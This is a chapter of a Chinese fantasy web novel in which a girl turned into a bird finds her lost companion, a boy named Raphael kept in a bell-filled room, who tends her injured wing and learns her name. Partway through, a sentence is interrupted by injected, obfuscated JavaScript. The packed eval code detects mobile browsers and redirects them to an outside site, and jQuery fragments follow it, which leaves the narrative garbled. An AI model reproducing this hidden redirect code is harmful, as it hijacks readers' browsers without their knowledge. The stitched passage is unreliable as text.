49. 找到了

作品:《别向他提问

    她的左侧是足足一整面墙的书架,从地面直抵天花板。书脊的颜色深浅不一,在她眼中化作明暗不同的灰黑色,一排排有序摆放直至顶端。


    头顶,是绘满宗教壁画的天花板:


    精致的石膏线角包裹着圣洁的画面,云朵层层叠叠,穿着金色长袍的天使们在其中穿梭飞翔,有的吹奏着长号,有的抚弄着竖琴,有的捧着花环。


    他们的目光向正中央望去,那是一位展开双翼的天使,丝绸长袍如流水般蜿蜒在他的身躯之上,坚硬的金属腿环勒住从布料交叉迈出的右腿。


    他站立在光晕之中,眉眼低垂,目光温柔地投向下方。


    他有着少年般清秀的面庞,脸颊圆润,卷发垂落在肩头,额角一缕调皮的碎发依靠在他的眉眼间。


    这位天使右手紧握一柄长剑,剑刃上燃起火焰,指向脚下的人间,左手捻起长柄铃铛,手腕微翻,仿佛下一秒就传来铃铛摇晃的脆响。


    “叮铃铃——”


    一阵微风从窗外袭来,纱帘扬起,披在了纪觅依身上。


    阳光探入,她从天使垂下的眼睫间,看到了如宝石般璀璨的冰蓝色光斑。


    “叮铃铃——”


    她的视线终于被房间右侧的四柱大床吸引,床柱上雕刻着繁复的藤蔓纹样,每一片叶脉的纹路都清晰可见,最终渐渐模糊在床幔上悬挂的铃铛们之间。


    风一阵阵吹过,那道冰蓝色更加耀眼,数十个铃铛同时发出响声,一波未平,一波又起,原本还能忍受的铃声逐渐成为了噪音。


    纪觅依感到烦躁,只能侧着头蹭着身下的绒布,试图拱出一个洞,钻进去来抵御这波噪音攻击。


    “叮铃铃叮铃铃——”


    风声催促,铃声愈加急切,纪觅依也越来越焦虑。


    “啾啾啾!”


    好吵!好吵!好吵!


    她像是着了魔般疯狂扭动,几根羽毛在蛮力下脱落。


    恰在此时,拉斐尔抱着一个精致的小木盒走到门口,他身后的乔娜还没反应过来,少年就将盒子向她怀里一扔,冲到书桌前。


    “你怎么了?”拉斐尔试图按住此刻焦躁的纪觅依,却迟迟不敢下手,“别,你这样会伤害自己的。”


    “好吵!别让铃铛再响了!”


    可惜拉斐尔听不懂她在说些什么,只听到几声尖锐的鸟鸣,他手忙脚乱地捧起她,不知如何是好。


    纪觅依强忍着大脑如同炸开般的眩晕感,抬起右翼,指了指在风中飘荡的床幔。


    他终于明白了,连忙将窗户紧紧关上,不留一点缝隙。


    那该死的声音终于止住了,纪觅依深深叹了口气,摇了摇脑袋。


    “对不起。”拉斐尔耷拉着脑袋,愧疚道,“我没想到这个声音让你这么难受。”


    “啾啾。”


    不怪你。


    纪觅依用脑袋蹭了蹭他的掌心,这本就不是他的过错,她注视着此时惭愧的少年,心中尽是酸楚:


    他真的很像咕噜,那个不管何时都为她考虑,从未关注过自己的小家伙。


    就这短短的几分钟,她就难以忍受,那少年呢?


    他在这种声音中生活了那么久,这十几年,他是如何一步步忍受,一步步麻木,一步步适应?


    尽管他的住处是如此华丽,却没有任何属于他的印记,一切都是拉斐尔那“慈爱”的父亲安排之下,与其说这是他的房间,不如说是他的囚笼。


    这份酸楚蔓延至她的喉间,纪觅依的眼眶中闪烁着泪花。


    拉斐尔并不知道掌心中的小鸟想了这么多,他只以为她被痛苦折磨出了泪水。


    他想给她一个拥抱,却无从下手,只好捧着她凑到脸侧,这就像她曾捧着咕噜那般。


    “不痛了,贴贴就不痛了。”


    所有纷纷扰扰的猜测烟消云散。


    她闭上眼,感受着他的体温。


    时间在此刻静谧流淌,拉斐尔的脸侧湿润,他笑着蹭了蹭,带走她羽毛上被打湿的凉意。


    “现在不痛了吧。”


    拉斐尔的脸上绽开一个笑,她的目光被那双摄人心魄的眼睛吸引,没有注意到少年颊侧的酒窝。


    “啾啾啾。”


    我找到你了,咕噜。


    而在门口默默观察的乔娜此刻走来,她将木盒放在桌上打开,拿出里面的药品,整齐摆放在桌上。


    “少爷,把小鸟放在桌上吧,我来教您怎么包扎。”


    “好的。”


    拉斐尔不舍的将纪觅依放回绒布上,拉过椅子坐下。


    “这是绷带,但我们需要先固定住她的伤处……”


    在她的指导下,纪觅依没有感受到几分疼痛,左翼就被包扎完好。


    拉斐尔呼出一口气,擦去额间紧张的汗水,双手合十,嘴里默念着:


    “我亲爱的小鸟,我将诚心为你祝福,愿你能早日康复,愿你的羽翼能更加有力,我将为你祷告,直到你再次翱翔于蓝天之中。”


    乔娜将桌面收拾好,安静侍立在一旁。


    当拉斐尔睁开眼后,她慢步走来,轻拍在他的后背上,开口道:


    “孩子,你的祝福一定会被听到,只要保持心地善良,毫无杂念,万事万物都将顺遂你的意愿而发展。”


    纪觅依在拉斐尔的托扶下踉跄站起,她戒备地看着乔娜,又将视线落回他身上。


    “我知道,乔娜阿姨。”


    纪觅依看着那抹蓝刹那间黯淡下来,又立即恢复原样。


    “好孩子,你有想给她取个名字吗?这毕竟是你养的第一个小家伙。”


    “名字吗?”他陷入了沉思,最后语气落寞,低声说道,“我不知道,还是不取名字了吧,父亲说过,她是属于大自然的。如果我擅自为她取名,我们彼此都会增加负担。”


    “她是自由的,不是属于我的。”


    乔娜动作一顿,她欲言又止,最终只是拍了拍他的背,眼神之中是复杂交织的情绪。


    她跳开这个话题,提起木箱,边说边往外走去:“少爷,我要先去忙了,相信在你的照顾下,她很快就能康复的。”


    她顺手拉上房门,顺便补充道:“可别忘了今晚的祷告。”


    “好的,乔娜阿姨。”他挥了挥手,将手收在身边。


    拉斐尔趴在桌上,盯着慢慢朝自己靠近的纪觅依,以彼此才能听见的声音问道:


    “小鸟,你有名字吗?”


    “啾啾?”


    “如果我能听懂你说话就好了。”他闭上眼睛,感受着阳光的温度,“你是我第一个朋友,虽然说庄园里的人对我都很好,他们都很爱我,可他们总把我当成一个孩子。”


    “可我已经不是个小孩了,再过五年,我就要成年了!”


    他嘴巴撅起,不满地嘟囔着。


    纪觅依跳到他手边,啄着他的手背:“啾啾!”


    “你有什么想给我说的吗?”


    拉斐尔顿时坐起,视线跟随着一蹦一跳的纪觅依来到墨水瓶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221510|191562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁,看着她啄了啄瓶盖,又低头试图叼起羽毛笔。


    “你是想……写字吗?”


    好呆!哪有鸟会写字的……


    纪觅依摇摇头,用右翼拍打着他的手指,重复着刚才的动作。


    他终于领会她的意思,握起羽毛笔沾取墨水,摊开一张崭新的牛皮纸,问道:“你是说,我来写吗?”


    “啾!”


    在得到肯定后,拉斐尔露出一个欣喜的笑容,他跟着她的指示,她一啄,他一点,一个有些潦草的简笔猫猫头出现在了纸面上。


    “啾啾啾——”


    这就是我的名字。


    纪觅依期待地望向他,希望对方能回忆起曾经修补空间时留下的、只有彼此能认出来的印记。


    “你的名字是——猫咪?”


    纪觅依甩了甩脑袋。


    “猫猫?”


    还是不对。


    “咪咪?”


    嗯……勉强对吧,不为难他了。


    “啾!”


    拉斐尔瞬间欢喜起来,他捧着她连转了好几个圈,最后坐在床边,铃铛被他的情绪感染,发出短暂的脆响。


    “你的名字真有意思,咪咪,一只小鸟听起来像是小猫咪。”


    拉斐尔控制住力度戳了戳她的脑袋。


    “但你比猫咪更漂亮,更聪明,你是一只最完美的小鸟!”


    纪觅依被夸得不好意思,歪过脑袋,假装梳理羽毛,却立马被他炙热的视线追上。


    “我们以后就是好朋友了,我会永远记住你的名字。我保证,只要你从我窗前飞过,我一定会立马认出你!”


    她没有回答,只是悄悄贴近他的掌心。


    拉斐尔将她放在床上,转身去衣柜里翻翻找找,掏出一个两个手掌大的木盒子,将桌上的绒布重新折叠,铺在盒底。


    他蹲在床边,将自己的杰作展示给她。


    “我给你做了个小床,你喜欢吗?”


    “啾。”她点了点头。


    拉斐尔将盒子放在了枕头中间,起身走到床边检查几番。


    “你就睡这里吧,如果你觉得不喜欢,我就换个地方……”


    “叩叩叩——”


    敲门声打断了他。


    “少爷,您该下楼了,给小鸟准备的食物我也给您准备好了。”


    乔娜缓缓将门打开,双手端起方盘走来,盘中央是三碟鸟食,左右两边分别是谷物,中间是切好的果肉。


    拉斐尔接过方盘,摆在了纪觅依面前,毫不在意她会弄脏床铺。


    “对不起,我晚点回来陪你。”


    他跟随着乔娜匆匆离去,纪觅依望着他们的背影陷入思考。


    不管怎么样,至少她找到了咕噜。


    哪怕当时摔得粉身碎骨,此刻也是值得的。


    至于怎么带他从镜中世界出去,她还需要时间观察。


    她脑袋上下摇晃,啄食着盘中的食物,时不时抬头看向窗外。


    天色越来越暗,可门外一点动静也没有,她跳到他准备的木床上,窝着身体,望向门外。随着等待,房间内彻底暗下来,周围黑白色的事物在她眼中变得更加模糊。


    或许是身体开始恢复,厚重的疲倦感蒙上纪觅依的眼睛,她强撑着眼皮,到后面干脆脑袋一歪,陷入了沉睡。


    “窸窸窣窣——”


    “叮铃铃——”


    纪觅依睁开眼,对上了唯一拥有光彩的蓝色。


    “你被我吵醒了吗?”